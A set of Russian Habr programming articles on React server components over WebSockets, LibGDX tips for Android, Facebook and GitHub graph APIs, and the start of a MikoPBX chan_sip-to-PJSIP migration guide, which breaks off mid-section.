Теперь самое главное, как отрендерить серверный компонент в клиентском. Во-первых, нужно создать веб-сокет подключение и всё приложение обернуть в `WebSocketProvider` и `WaitWebSocketOpen`.
```
const ws = new WebSocket('ws://localhost:3000')
// ...
const ServerComponent = importServerComponent('./ServerComponent.js')
Loading...}>
Some child
```
Первый это просто контекст, чтобы иметь доступ к веб-сокет соединению из любого компонента, а второй — ожидание открытие соединения и отображения лоадера. Пока ничего необычного. А сам магический импорт
серверных компонентов делается с помощью функции `importServerComponent`. Это функция высшего порядка и вот её реализация:
```
const importServerComponent = (path) => ({ children: clientChildren, ...props } = {}) => {
const [element, setElement] = useState(null)
const ws = useWebSocket()
useEffect(() => {
ws.onComponent(path, (data) => setElement(data.element))
}, [])
useEffect(() => {
ws.send(JSON.stringify({ path, props }))
}, [JSON.stringify(props)])
if (!element) {
return null
}
return element.type // type is undefined for Fragment and maybe some another
? deserializeReactElement(element, clientChildren)
: deserializeChildren(element.props.children, clientChildren)
}
```
Она принимает путь к компоненту относительно сервера и возвращает компонент, который отправляет запрос на получение компонента от сервера, а когда компонент приходит, то десериализует и рендерит его
Единственный момент, который остался, это использование странной функции `ws.onComponent`. Она необязательна и вообще можно реализовать как угодно. Но суть её в том, что я делаю подписку на `onmessage` единожды. На `onComponent` я регистрирую коллбеки на компоненты, которые присылает мне сервера, а при событии `onmessage` вызываю нужный коллбек в зависимости от `path`
```
ws.componentsMap = new Map()
ws.onComponent = (path, callback) => {
ws.componentsMap.set(path, callback)
}
ws.onmessage = message => {
const data = JSON.parse(message.data)
const callback = ws.componentsMap.get(data.path)
if (callback) callback(data)
}
```
---
И всё, получилась вот такая очень компактная реализация серверных компонентов. Конечно, она далека от идеала, не супер функциональная и, возможно, я не продумал некоторые моменты, но в целом было интересно и получилось как мне кажется тоже неплохо
Как это может быть полезно?
===========================
Идея в том, что компонент рендерится на сервере, а значит он имеет доступ ко всему серверному слою. Это значит, что можно делать запросы к бд прям в нем, я не включил это в статью, но в гитхабе можно увидеть как легко сделать [серверные компоненты асинхронными](https://github.com/RealPeha/react-websocket-components/blob/v3/server.js#L23)
Еще один плюс это то, что тяжелые библиотеки, которые обычно требуются на клиенте, можно перенести на сервер, из-за чего они не будут включены в бандл. Ярким примером (других я и не могу придумать) могут быть `marked` и `sanitize-html`. К примеру бандл моей демки визуального markdown редактора без использования серверных компонентов весит примерно `380 Кб`, а с — `130 Кб`
**А вот и ссылка на полную версию кода:** [react-websocket-components](https://github.com/RealPeha/react-websocket-components)
Изначально я хотел сделать из этого библиотеку и загрузить в `npm`, но в итоге так и не сделал, показалось что вряд ли получится что-то полезное
А на этом всё, спасибо за внимание, надеюсь статья была кому-то интересная, а может даже полезная! | https://habr.com/ru/post/596237/ | null | ru | null |
# LibGDX. Практические вопросы и ответы
Привет Хабр!
Закончился конкурс от ВКонтакте и мой 2-х недельный марафон в интернете по поиску нужной информации. Хочу поделится небольшим опытом работы с графическим движком LibGDX. В интернете полно примеров, но большинство далеки от практики (нарисованный спрайт это далеко еще не игра) или уже устарели.
Честно, мне он понравился, потому что легко интегрируется с android studio, написан на удобном мне языке, отлично выполняет свою графическую задачу. ~~Даже страшно подумать об использовании android graphics для решения такой задачи.~~
Вопросы, которые мне приходилось решать:
**Вариант использования встроенного логгера**Я часто использую [Timber](https://github.com/JakeWharton/timber) из-за удобства. В core модуле он недоступен, потому написал простой вспомогательный класс с использованием имеющегося в LibGDX логгера, с которым приложение в релиз версии перестает писать логи
```
import com.badlogic.gdx.Gdx;
public class GdxLog {
public static boolean DEBUG;
@SuppressWarnings("all")
public static void print(String tag, String message) {
if (DEBUG) {
Gdx.app.log(tag, message);
}
}
@SuppressWarnings("all")
public static void d(String tag, String message, Integer...values) {
if (DEBUG) {
Gdx.app.log(tag, String.format(message, values));
}
}
@SuppressWarnings("all")
public static void f(String tag, String message, Float...values) {
if (DEBUG) {
Gdx.app.log(tag, String.format(message.replaceAll("%f", "%.0f"), values));
}
}
}
//... вызов
GdxLog.d(TAG, "worldWidth: %d", worldWidth);
```
Плюс для удобства различные float значения 1.23456789 округляются
**E/libEGL: call to OpenGL ES API with no current context (logged once per thread)**Поначалу сильно огорчала такая ошибка, ничего не мог понять. Она происходит, потому что графика GLSurfaceView отрисовывается в своем отдельном потоке, когда проиcходит попытка извне вмешаться в этот процесс. Как исправить:
```
Gdx.app.postRunnable(new Runnable() {
@Override
public void run() {
// Здесь выполняется в самом потоке
}
});
```
Впринципе аналогично, как и в случае, view.postInvalidate()
Я не любитель анонимных классов, поэтому написал такой простой метод для сокращения кода (иначе он просто становился не читаемым). Хотя с java 8 это уже не такая проблема, но из дополнительных плюсов то, что обрабатываются InvocationTargetException, когда, например, файл не найден, приложение уже не упадет по такой незначительной ошибке.
```
// null may be only String params
public void postRunnable(final String name, final Object...params) {
Gdx.app.postRunnable(new Runnable() {
@Override
public void run() {
Method method = null;
Class[] classes = new Class[params.length];
for (int i = 0; i < params.length; i++) {
classes[i] = params[i] == null ? String.class : params[i].getClass();
}
try {
method = World.class.getMethod(name, classes);
} catch (SecurityException e) {
GdxLog.print(TAG, e.toString());
} catch (NoSuchMethodException e) {
GdxLog.print(TAG, e.toString());
}
if (method == null) {
return;
}
try {
method.invoke(WorldAdapter.this, params);
} catch (IllegalArgumentException e) {
GdxLog.print(TAG, e.toString());
} catch (IllegalAccessException e) {
GdxLog.print(TAG, e.toString());
} catch (InvocationTargetException e) {
GdxLog.print(TAG, e.toString());
}
}
});
}
```
Важно, чтобы параметры не были примитивами, а наследовали Object. И плюс здесь упрощение с null параметром (только от класса String)
**Как использовать LibGDX с другими виджетами**Через фрагмент. Больше информации [в wiki](https://github.com/libgdx/libgdx/wiki/Starter-classes-&-configuration#fragment-based-libgdx)
Пример:
```
public class ActivityMain extends AppCompatActivity
implements AndroidFragmentApplication.Callbacks {
protected FragmentWorld fragmentWorld;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// ...
getSupportFragmentManager()
.beginTransaction()
.add(R.id.world, fragmentWorld, FragmentWorld.class.getSimpleName())
.commitAllowingStateLoss();
}
@Override
public void exit() {}
```
И сам фрагмент:
```
public class FragmentWorld extends AndroidFragmentApplication {
public World world;
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
int worldWidth = getResources().getDimensionPixelSize(R.dimen.world_width);
int worldHeight = getResources().getDimensionPixelSize(R.dimen.world_height);
world = new World(BuildConfig.DEBUG, worldWidth, worldHeight);
return initializeForView(world);
}
}
```
**Как вытащить рендер мира или Pixmap в Bitmap**Я не хотел сохранять pixmap в файл и потом средствами Android вытаскивать Bitmap
Поэтому придумал такой лайфхак с OutputStream классом. Работает прекрасно и не требует медленных r/w операций
```
final Pixmap pixmap = getScreenshot();
Observable.fromCallable(new Callable () {
@Override
public Boolean call() throws Exception {
PixmapIO.PNG writer = new PixmapIO.PNG((int)(pixmap.getWidth() \* pixmap.getHeight() \* 1.5 f));
writer.setFlipY(false);
ByteArrayOutputStream output = new ByteArrayOutputStream();
try {
writer.write(output, pixmap);
} finally {
StreamUtils.closeQuietly(output);
writer.dispose();
pixmap.dispose();
}
byte[] bytes = output.toByteArray();
Bitmap bitmap = BitmapFactory.decodeByteArray(bytes, 0, bytes.length);
return true;
}
}).subscribeOn(Schedulers.io()).subscribe();
```
**Как работать с colors совместно с Android**На самом деле можно int, наверное, (Color класс в LibGDX довольно специфичен как и вся графика, по-моему мнению, т.е. нужно разбираться на уровне битов) но для простоты я предпочел hex хранить и передавать в String
Соотвественно понадобился парсер:
```
protected Color parseColor(String hex) {
String s1 = hex.substring(0, 2);
int v1 = Integer.parseInt(s1, 16);
float f1 = 1 f * v1 / 255 f;
String s2 = hex.substring(2, 4);
int v2 = Integer.parseInt(s2, 16);
float f2 = 1 f * v2 / 255 f;
String s3 = hex.substring(4, 6);
int v3 = Integer.parseInt(s3, 16);
float f3 = 1 f * v3 / 255 f;
return new Color(f1, f2, f3, 1 f);
}
```
Пример параметра «ffffff»
**Как определить нажатие на actor**~~sticker.addListener()~~ Все проще. Есть метод hit у сцены
```
Sticker sticker = (Sticker) stickersStage.hit(coordinates.x, coordinates.y, false);
```
**Математика scale и rotation на событие pinch (два пальца)**Возможно это не лучшее решение, но работает хорошо. Поворот без резких скачков, плавный зум
```
@Override
public boolean pinch(Vector2 initialPointer1, Vector2 initialPointer2, Vector2 pointer1,
Vector2 pointer2) {
// initialPointer doesn't change
// all vectors contains device coordinates
Sticker sticker = getCurrentSticker();
if (sticker == null) {
return false;
}
Vector2 startVector = new Vector2(initialPointer1).sub(initialPointer2);
Vector2 currentVector = new Vector2(pointer1).sub(pointer2);
sticker.setScale(sticker.startScale * currentVector.len() / startVector.len());
float startAngle = (float) Math.toDegrees(Math.atan2(startVector.x, startVector.y));
float endAngle = (float) Math.toDegrees(Math.atan2(currentVector.x, currentVector.y));
sticker.setRotation(sticker.startRotation + endAngle - startAngle);
return false;
}
```
Единственно необходимо перед этим событием запоминать текущий зум и поворот
```
@Override
public boolean touchDown(float x, float y, int pointer, int button) {
if (pointer == FIRST_FINGER) {
Vector2 coordinates = stickersStage.screenToStageCoordinates(new Vector2(x, y));
Sticker sticker = (Sticker) stickersStage.hit(coordinates.x, coordinates.y, false);
if (sticker != null) {
// здесь
sticker.setPinchStarts();
currentSticker = sticker.index;
}
}
return false;
}
@Override
public void pinchStop() {
Sticker sticker = getCurrentSticker();
if (sticker != null) {
// здесь
sticker.setPinchStarts();
}
}
```
И на время события pinch актер неподвижен в этом случае
**Почему не происходит анимация, но action к актеру добавлен**Ключевой метод act у сцены. Боль, когда этого не знаешь)
```
spriteBatch.begin();
stickersStage.act();
stickersStage.getRoot().draw(spriteBatch, 1);
spriteBatch.end();
```
**Градиент в LibGDX**Насколько я понял, можно задать только левый верхний и нижний правый цвета. При этом есть не задавать остальные (transparent), то между ними будет пробел. Т.е. остальные определяются как сумма этих двух цветов на данном расстоянии, если речь идет о линейном градиенте. Сказать, что своеобразно, ничего не сказать
```
gradientTopLeftColor = parseColor(topLeftColor);
gradientBottomRightColor = parseColor(bottomRightColor);
gradientBlendedColor = new Color(gradientTopLeftColor).add(gradientBottomRightColor);
```
**Хитрости обработки движения актера (событие pan)**Вот этот обработчик
```
@Override
public boolean pan(float x, float y, float deltaX, float deltaY) {
if (currentSticker != Sticker.INDEX_NONE) {
Sticker sticker = getCurrentSticker();
if (sticker != null) {
sticker.moveBy(deltaX * worldDensity, -deltaY * worldDensity);
}
}
return false;
}
```
worldDensity это разница между перемещением пальца в экранных координатах и актера в игровых. Без этого параметра актер будет отрываться от пальца
```
@Override
public void resize(int width, int height) {
if (height > width) {
worldDensity = 1f * worldWidth / width;
} else {
worldDensity = 1f * worldHeight / height;
}
viewport.update(width, height, true);
}
```
И если сделать привязку touch input через sticker.addListener, то поступающие координаты будут относительного самого актера к текущему положению пальца. Лучше так не делать, потому что при малом размере актера (зум) он задергается и вылетит из сцены (как было у меня)
**Как лучше работать с анимациями актеров (Action)**Использовать [Pool класс](https://github.com/libgdx/libgdx/wiki/Memory-management#object-pooling). В моем проекте есть пример более детально реализации дополнительной
```
public void onAppear() {
ScaleToAction scaleToAction = scaleToPool.obtain();
scaleToAction.setPool(scaleToPool);
scaleToAction.setScale(startScale);
scaleToAction.setDuration(ANIMATION_TIME_APPEAR);
addAction(scaleToAction);
}
```
Наверное все, что из интересного. Сам не нашел решение проблемы увеличения viewport. Камера zoom помогает только с приближением сцены, и получается, что сцена сокращается больше чем надо (область видимости неизменная).
Другой вопрос это сохранение рендера мира. На выходе он соотвествует размеру экрана, но мне нужен определенный размер. Пробовал с framebuffer, но не получилось вытащить с него pixmap (присутствуют какие-то баги с инициализацией класса Texture)
Еще недостаток в движке, что не позволяет, например, полностью отключить ввод с клавиатуры. Получалось так, что он перехватывал фокус с другого виджета (но он на это и не рассчитан собственно, хотя было бы неплохо. Go pull request, одним словом)
Но в целом, все очень даже хорошо. Развивайся дальше LibGDX)
→ [Ссылка на проект](https://github.com/androidovshchik/VKAdvancedPosting) | https://habr.com/ru/post/338398/ | null | ru | null |
# Знакомство с графовыми API
Привет, Хабр! Мы не перестаем отслеживать тему проектирования API после того, как встретили в портфеле издательства «Manning» [вот эту](https://www.manning.com/books/irresistible-apis) книгу. Сегодня мы решили опубликовать обзорную статью об относительно новых Graph API и предлагаем еще раз задуматься о том, каковы будут новые API после безраздельной популярности REST.
Приятного чтения!
Если в последние 10 лет вам доводилось потреблять API – готов поспорить, что это был REST API. Вероятно, данные были структурированы вокруг ресурсов, в отклики включались id, указывающие на связанные объекты, а при помощи HTTP-команд сообщалось, как поступить с информацией: прочитать, записать и обновить (да, согласен, это вольное определение, а не канонический REST Роя Филдинга). Некоторое время API в стиле REST были доминирующим стандартом в нашей индустрии.
Однако, у REST есть свои проблемы. Клиент может привыкнуть извлекать лишние данные, запрашивая целый ресурс в случае, когда ему нужны лишь один-два фрагмента информации. Либо клиенту могут регулярно требоваться несколько объектов одновременно, но он не может извлечь их все в одном запросе – тогда возникает так называемое «недоизвлечение» данных. Что касается поддержки, изменения в REST API могут приводить к тому, что клиенту потребуется обновить всю интеграцию, чтобы программа соответствовала новой структуре API или схемам откликов.
Для решения подобных проблем в последние годы все активнее разрабатываются принципиально иные API, именуемые «графовыми».
#### Что такое Graph API?
Упрощенное определение графового API: это API, моделирующий данные в терминах узлов и ребер (объектов и отношений) и позволяющий клиенту взаимодействовать сразу со многими узлами в рамках единственного запроса. Допустим, на сервере содержатся данные об авторах, постах в блогах и комментариях к ним. Если у нас REST API, то для получения автора и комментариев к конкретному посту с клиента, возможно, потребуется сделать три HTTP-запроса, например: `/posts/123`, `/authors/455`, `/posts/123/comments`.
В графовом API клиент формулирует вызов таким образом, что данные со всех трех ресурсов вытягиваются в один заход. Клиент также может указать те поля, которые для него действительно важны, предоставив более полный контроль над схемой отклика.
Чтобы детально исследовать, как устроен этот механизм, рассмотрим пару кейсов с описанием живых невыдуманных API.
**Кейс 1: Графовый API Facebook**
Facebook выпустил версию 1.0 [своего API](https://developers.facebook.com/docs/graph-api/overview/?utm_source=zapier.com&utm_medium=referral&utm_campaign=zapier) в 2010 году и с тех пор проектирует новые версии, вдохновляясь примером графовых баз данных. Существуют узлы, соответствующие, например, постам и комментариям, а также ребра, соединяющие их и указывающие, что данный комментарий «относится» к этому посту. Такой подход обеспечивает всей конструкции не менее качественную обнаружимость, чем у типичного REST API, однако, все равно позволяет клиенту оптимизировать извлечение данных. Возьмем в качестве примера отдельный пост и рассмотрим, какие простые операции можно с ним проделать.
Для начала клиент при помощи запроса GET выбирает пост из корня API, исходя из ID поста.
```
GET /
```
По умолчанию в таком случае возвращается большинство полей верхнего уровня данного поста. Если клиенту требуется доступ лишь к некоторым элементам поста – например, заголовку и времени создания – то можно запросить только эти поля, указав данную информацию в качестве одного из параметров запроса:
```
GET /?fields=caption,created\_time
```
Чтобы выбрать требуемые данные, клиент запрашивает ребро, например, комментарии к посту:
```
GET //comments
```
До сих пор все это напоминает функции REST API. Пожалуй, возможность задать подмножество полей – в новинку, но в целом данные воспринимаются во многом как ресурсы. Ситуация становится интереснее, когда клиент собирает вложенный запрос. Вот как еще клиент может выбрать комментарии к посту:
```
GET /?fields=caption,created\_time,comments{id,message}
```
Вышеприведенный запрос возвращает отклик, в котором содержится время создания поста, его заголовок и список комментариев (из каждого сообщения выбирается только id и сообщение). В REST вы бы такое сделать не смогли. Клиенту потребовалось бы сначала выбрать пост, а затем — комментарии.
А что, если клиенту потребуются более глубокие вложения?
```
GET /?fields=caption,created\_time,comments{id,message,from{id,name}}
```
В этом запросе выбираются комментарии к посту, в том числе, id и имя автора каждого комментария. Рассмотрим, как это делалось бы в REST. Клиенту потребовалось бы запросить пост, запросить комментарии, а затем в серии отдельных запросов извлечь информацию об авторе каждого комментария. Сразу набирается множество HTTP-вызовов! Однако, при проектировании в виде графа вся эта информация конденсируется в одном вызове, и в этом вызове оказывается лишь та информация, что нужна клиенту.
Наконец, последний момент, который следует отметить о графовом проектировании: любой объект, выбираемый с ребра, сам является узлом и, следовательно, его можно запросить непосредственно. Вот, например, как выбирается дополнительная информация о конкретном комментарии:
```
GET /
```
Обратите внимание: клиенту не нужно собирать URL вида `/posts//comments/`, как могло бы потребоваться при работе с REST API. Это может пригодиться в ситуациях, когда у клиента нет непосредственного доступа к id родительского объекта.
Такая же ситуация возникает при изменении данных. Например, если нам надо обновить и/или удалить объект (скажем, комментарий), применяется запрос PUT или DELETE соответственно, посылаемый непосредственно на конечную точку `id`. Чтобы создать объект, клиент может направить POST к соответствующему ребру узла. Так, чтобы добавить комментарий к посту, клиент делает запрос POST к ребру с комментариями от этого поста:
```
POST //comments
message=This+is+a+comment
```
**Кейс 2: GitHub V4 GraphQL API**
Другим конкурентом графового API можно считать спецификацию под названием GraphQL. Эта концепция значительно отличается от REST, здесь предоставляется всего одна конечная точка, принимающая запросы GET и POST. При всех взаимодействиях с API отправляются запросы, соответствующие синтаксису GraphQL.
В мае 2017 года GitHub выпустил 4-ю версию своего API, соответствующую этой спецификации. Чтобы попробовать, каков из себя GraphQL, давайте рассмотрим отдельные операции, которые можно проделать с репозиторием.
Чтобы выбрать репозиторий, клиент определяет запрос GraphQL:
```
POST /graphql
{
"query": "repository(owner:\"zapier\", name:\"transformer\") {
id
description
}"
}
```
В данном запросе выбирается ID и описание репозитория “transformer” с ресурса Zapier org. Здесь следует отметить несколько вещей. Во-первых, мы считываем данные с API при помощи POST, поскольку посылаем в запросе тело сообщения. Во-вторых, полезная нагрузка самого запроса записана в формате JSON, что предписано в стандарте GraphQL. В-третьих, структура запроса будет именно такой, какая указана в нашем запросе, `{"data": {"repository": {"id": "MDEwOlJlcG9zaXRvcnk1MDEzODA0MQ==", "description": "..."}}}` (корневой ключ `data` – еще один обязательный элемент, который должен присутствовать в откликах GraphQL).
Чтобы выбрать данные, относящиеся к репозиторию – например, задачи и их авторов, клиент применяет вложенный запрос:
```
POST /graphql
{
"query": "repository(owner: \"zapier\", name: \"transformer\") {
id
description
issues(last: 20, orderBy: {field: CREATED_AT, direction: DESC}) {
nodes {
title
body
author {
login
}
}
}
}"
}
```
Этот запрос выхватывает ID и описание репозитория, название и текст последних 20 задач, созданных в репозитории, а также логин (имя) автора каждой задачи. То есть, в каждом запросе укладывается масса информации. Вообразите, как выглядел бы REST-эквивалент такого запроса – и становится понятно, какие возможности и гибкость обеспечивает клиентам GraphQL в данном отношении.
При обновлении данных GraphQL использует концепцию под названием «мутация». В отличие от REST, где обновление выполняется путем PUT или POST измененной копии ресурса на ту же конечную точку, с которой клиент ее извлек, мутация GraphQL – это явная операция, определяемая API. Если клиенту требуется подкорректировать данные, то требуется знать, какие мутации поддерживаются на сервере. Удобно, что GraphQL позволяет обнаруживать их в рамках процесса под названием «интроспекция схемы».
Прежде, чем обсудить, что такое «интроспекция», нужно прояснить термин «схема». В GraphQL каждый API определяет набор типов, используемых при валидации запросов. До сих пор в GitHub мы работали с типами `repository`, `issue` и `author`. Каждый тип описывает данные, которые в нем содержатся, а также взаимосвязи этого типа с другими. В совокупности все эти типы образуют схему API.
При наличии подробной схемы GraphQL в обязательном порядке требует, чтобы клиент имел возможность запрашивать эту схему в соответствии с синтаксисом GraphQL. Таким образом клиент может узнать возможности API путем интроспекции.
Если клиенту требуется узнать, какие мутации возможны в GitHub, можно просто запросить:
```
POST /graphql
{
"query": "__type(name: \"Mutation\") {
name
kind
description
fields {
name
description
}
}"
}
```
Среди мутаций, перечисленных в отклике, находим, например, `addStar`, позволяющую клиенту проставить звездочку репозиторию (или любому рейтингуемому объекту). Чтобы осуществить мутацию, используется подобный запрос:
```
POST /graphql
{
"query": "mutation {
addStar(input:{starrableId:\"MDEwOlJlcG9zaXRvcnk1MDEzODA0MQ==\"}) {
starrable {
viewerHasStarred
}
}
}"
}
```
В этом запросе указано, что клиент собирается применить мутацию `addStar` и предоставляет аргументы, необходимые для выполнения такой операции; в данном случае, это лишь ID репозитория. Обратите внимание: в данном запросе в качестве префикса запроса используется ключевое слово mutation. Так GraphQL узнает, что клиент собирается выполнить мутацию. Во всех предыдущих запросах в качестве префикса также можно было поставить ключевое слово query, но его принято использовать, если тип операции не указан. Наконец, необходимо отметить, что клиент полностью контролирует данные, содержащиеся в отклике. В данном запросе клиент требует из репозитория поле `viewerHasStarred` – в данном сценарии оно нас не слишком интересует, поскольку при мутации добавляется звездочка, и мы знаем, что она вернет `true`. Однако, если клиент совершил иную мутацию – скажем, создал задачу, то может получить в ответ сгенерированные значения, например, ID или номер задачи, а также вложенные данные, например, общее количество открытых задач в данном репозитории.
**API будущего**
Надеюсь, эти кейсы наглядно демонстрируют, как развивается дизайн API в SaaS-индустрии. Я не пытаюсь сказать, что за графовыми API будущее, а REST мертв. В таких архитектурах как GraphQL есть собственные проблемы. Но хорошо, что круг возможностей ширится, и в следующий раз, когда вам потребуется создать API, вы сможете взвесить все компромиссы, на которые приходится идти при том или ином варианте дизайна, и выбрать оптимальное решение. | https://habr.com/ru/post/349290/ | null | ru | null |
# Как мы переводили MIKOPBX с chan_sip на PJSIP
Предыстория
-----------
Материал изначально готовился как доклад для **asterconf 2020**. Теперь постараюсь описать все **более** подробно в этой статье.
**MIKOPBX** - это **бесплатная** АТС с открытым исходным кодом на базе **Asterisk 16**. Год назад мы взялись за переход на PJSIP.
Основные причины:
* PJSIP поддерживает "**множественную регистрацию**". На одном аккаунте можно без проблем регистрировать несколько конечных UAC
* Корректная работа входящей маршрутизации при настройке регистрации **нескольких** учетных записей провайдера на одном адресе (**IP+PORT**)
* PJSIP более гибок в настройке
* **chan\_sip** не развивается и объявлен **deprecated** в Asterisk 17
Далее опишу с какими сложностями мы столкнулись и какие выгоды получили.
---
Основная причина - необходимость в поддержке "**множественной регистрации**". Крайне удобно подключить к аккаунту несколько софтфонов / телефонов и не беспокоится, входящий вызов поступит где бы ты не находился.
Лично у меня подключены следующие устройства:
* Аппаратный телефон на рабочем столе в офисе
* Софтфон на ноутбуке
* Софтфон на смартфоне
При поступлении входящего звонка на добавочный, все устройства звонят одновременно.
С чего начать?
--------------
В нашем случае был готовый файл конфигурации **sip.conf**. Стало интересно, возможно ли как то конвертировать старый конфиг в новый формат (структура **pjsip.conf** отличается значительно).
Готовый скрипт был найден в исходниках asterisk. Найти можно по пути:
**contrib/scripts/sip\_to\_pjsip/sip\_to\_pjsip.py**
Из встроенной справки:
```
Usage: sip_to_pjsip.py [options] [input-file [output-file]]
Converts the chan_sip configuration input-file to the chan_pjsip output-file.
The input-file defaults to 'sip.conf'.
The output-file defaults to 'pjsip.conf'.
```
Скрипт позволяет получить **рабочий** конфиг и начать его тестировать и **дорабатывать напильником**.
Настройка множественной регистрации
-----------------------------------
После конвертации конфигурационного фала потребовалось увеличить количество контактов, которые могут подключаться к учетной записи (далее **endpoint**).
Каждую входящую регистрацию Asterisk рассматривает как **contact**.
Параметр "**max\_contacts**" позволяет ограничить количество устройств, которые могут подключиться к **endpoint**.
```
;pjsip.conf
[226]
type = aor
max_contacts = 5
```
Количество подключенных контактов можно посмотреть в CLI консоли Asterisk:
```
mikopbx*CLI> pjsip show contacts
Contact:
==========================================================================================
Contact: 201/sip:201@172.16.156.1:60616;ob 418d36496b Avail 3.793
Contact: 201/sip:201@172.16.156.1:60616;ob ba56853d54 Avail 2.189
Contact: 203/sip:203@172.16.156.1:60616;ob 2cd641799f Avail 0.988
Objects found: 3
```
Для того, чтобы при входящем звонили сразу все контакты, потребовалось доработать dialplan.
Пример c комментариями:
```
;extensions.conf
[internal-users]
; контекст для набора 3х значных внутренних номеров
; PJSIP_DIAL_CONTACTS - функция возвращает Dial-совместимую строку с контактами
; Контакты разделены символом &
; В качестве параметра функции необходимо передать ID endpoint
exten => _XXX,1,Set(dialContacts=${PJSIP_DIAL_CONTACTS(${EXTEN})})
; Перед Dial обязательно необходимо проверить
; заполнена ли переменная "dialContacts"
; если нет, то на endpoint никто не зарегистрировался
same => n,ExecIf($["${dialContacts}x" != "x"]?Dial(${DC},,Tt))
```
После правки dialplan началось интересное поведение системы.
Наши ожидания не оправдались. Мы предполагали, что при таком звонке, asterisk будет оперировать двумя каналами "**Кто звонит**" и "**Кому звонит**". На практике, все оказалось иначе.
О природе каналов и их происхождении
------------------------------------
Каждый канал SIP и PJSIP непосредственно связан с SIP диалогом "**PBX - UAC**".
Проще говоря **один INVITE** = **один канал вида SIP/104-0000XX.**
Если к **endpoint** подключено несколько контактов, то при звонке на внутренний номер **INVITE** будет отправлен **каждому** контакту, будет создано несколько каналов.
Зная это, можно сделать следующие выводы:
* Чем больше каналов, тем больше событий в AMI
* **Каждый** канал пройдет определенный для него dialplan
* **Каждый** канал повлияет на CDR записи
Если кратко подвести итог, то, после включения множественной регистрации, мы видим влияние на все основные модули наших продуктов:
* История звонков на АТС
* Функция записи разговоров
* Работа CTI приложений, завязанных на AMI
Автоподъем. Paging. Intercom
----------------------------
Это крайне интересные функции. Все они завязаны на функцию "**Автоответ**". Может работать как с настольными телефонами, так и с многими софтфонами.
Принцип работы многих UAC схож. Чтобы "**поднять трубку**" достаточно в **INVITE** передать дополнительный заголовок. Пример:
```
Call-Info:\;answer-after=0
```
В случае с аппаратным телефоном будет включена либо громкая связь, либо произойдет ответ в гарнитуре.
При работе с **chan\_sip** при **originate** достаточно было установить переменную **SIPADDHEADER:**
```
Action: Originate
Channel: SIP/104
Context: from-internal
Exten: 74952293042
Priority: 1
Callerid: 104
Variable: SIPADDHEADER="Call-Info:\;answer-after=0"
```
Работа с этой переменной была описана в **chan\_sip.с** и при звонке заголовок добавлялся автоматически в **INVITE**.
В случае с PJSIP подход отличается. Упрощенный пример **extensions.conf:**
```
[internal-users]
exten => 204,1,Dial(${PJSIP_DIAL_CONTACTS(204)},,Ttb(dial_create_chan,s,1)))
[dial_create_chan]
exten => s,1,Set(PJSIP_HEADER(add,Call-Info)=\;answer-after=0)
same => n,return
```
Опция "**b**" в команде "**Dial**" позволяет созданный канал назначения с помощью Gosub направить в дополнительный контекст "**dial\_create\_chan**".
Только в этом месте есть возможность управлять SIP заголовками **ДО** отправки **INVITE**.
Интересный вывод: "**dial\_create\_chan**" - место в dialplan, где канал еще существует, но НЕ связан с SIP диалогом.
Теперь более правильный пример установки заголовка:
```
[internal-users]
; Получаем контактны:
exten => _XXX,1,Set(dС=${PJSIP_DIAL_CONTACTS(${EXTEN})})
; Считаем количество контактов:
same => n,ExecIf($["${FIELDQTY(dС,&)}"!="1"]?Set(__SIPADDHEADER=${EMPTY}))
same => n,ExecIf($["${dС}x" != "x"]?Dial(${DC},,Ttb(dial_create_chan,s,1)))
[dial_create_chan]
exten => s,1,ExecIf($["${SIPADDHEADER}x" == "x"]?return)
same => n,Set(header=${CUT(SIPADDHEADER,:,1)})
same => n,Set(value=${CUT(SIPADDHEADER,:,2)})
same => n,Set(PJSIP_HEADER(add,${header})=${value})
same => n,Set(__SIPADDHEADER=${EMPTY})
same => n,return
```
С помощью функции "**FIELDQTY**" мы анализируем количество контактов, подключенных к endpoint. Если контактов несколько, то функцию лучше отключить, ведь сложно предугадать, на каком из телефонов сработает ответ на вызов.
С помощью функции "**CUT**" происходит разбор строки "**SIPADDHEADER**", выделяем имя заголовка и его значение.
**Обязательно**, после **PJSIP\_HEADER** очищаем значение переменной **SIPADDHEADER**. Это страховка от случайного срабатывания "ответа" на вызов при переадресациях.
Получение значения UserAgent
----------------------------
Для выборка корректного **SIP заголовка** необходимо понимать какое конечное устройство подключено к **endpoint**. В случае с pjsip ситуация несколько изменилась. Пример:
```
[get-user-agent]
exten => 300,1,NoOp(--- Incoming call ---)
same => n,Set(vContact=${PJSIP_AOR(300,contact)})
same => n,Set(vUserAgent=${PJSIP_CONTACT(${vContact},user_agent)})
same => n,NoOp(--- ${vContact} & ${vUserAgent} ---)
... ... ...
same => n,Hangup()
```
Пример в одну строчку для AOR с ID 300. Для упрощения ID endpoint = ID AOR и = EXTEN:
```
; ${PJSIP_CONTACT(${PJSIP_AOR(${EXTEN},contact)},user_agent)}
```
В функцию "**PJSIP\_AOR**" передаем **ID** AOR, и в качестве опции указываем, что вернуть нам следует поле "**contact**".
В функцию "**PJSIP\_CONTACT**" передаем полученный контакт, и в качестве опции указываем, что вернуть следует поле "**user\_agent**".
**Обратите внимание**, PJSIP\_AOR(300,contact) вернет ID контакта, но это не тоже самое, что можно увидеть в CLI.
Пример результата **PJSIP\_AOR**:
```
201;@e758f5661420b391e239386a94edbefe
```
Пример вывода в **CLI**:
```
pjsip show contacts 201/sip:201@172.16.156.1:57130;ob
Contact: 201/sip:201@172.16.156.1:57130;ob
```
Исходящая регистрация
---------------------
Согласно документации Asterisk, разработчики выделяют два основных **вида** проблем регистрации:
**Временные (temporary) проблемы**
* No Response
* 408 Request Timeout
* 500 Internal Server Error
* 502 Bad Gateway
* 503 Service Unavailable
* 504 Server Timeout
* Некоторые 6xx ответы
**Постоянные (Permanent) проблемы**
* 401 Unauthorized
* 403 Forbidden
* 407 Proxy Authentication Required
* Прочие 4xx, 5xx, 6xx ошибки
В **pjsip.conf** при настройке исходящей регистрации обязательно необходимо описать опции для повторной попытки регистрации:
```
[74952293042]
type = registration
; Временные неудачи
; Интервал для повторных попыток регистрации
retry_interval = 30
; Максимальное количество попыток
max_retries = 100
; "Постоянные" неудачи
; Интервал используется при получении 403 Forbidden ответа.
forbidden_retry_interval = 300
; Интервал используется при получении Fatal ответов (non-temporary 4xx, 5xx, 6xx)
fatal_retry_interval = 300
```
Если **sip\_to\_pjsip.py** для конвертации конфигурации, то эти опции придется описать вручную.
Идентификация провайдера
------------------------
Для рада провайдеров телефонии может наблюдаться следующая картина:
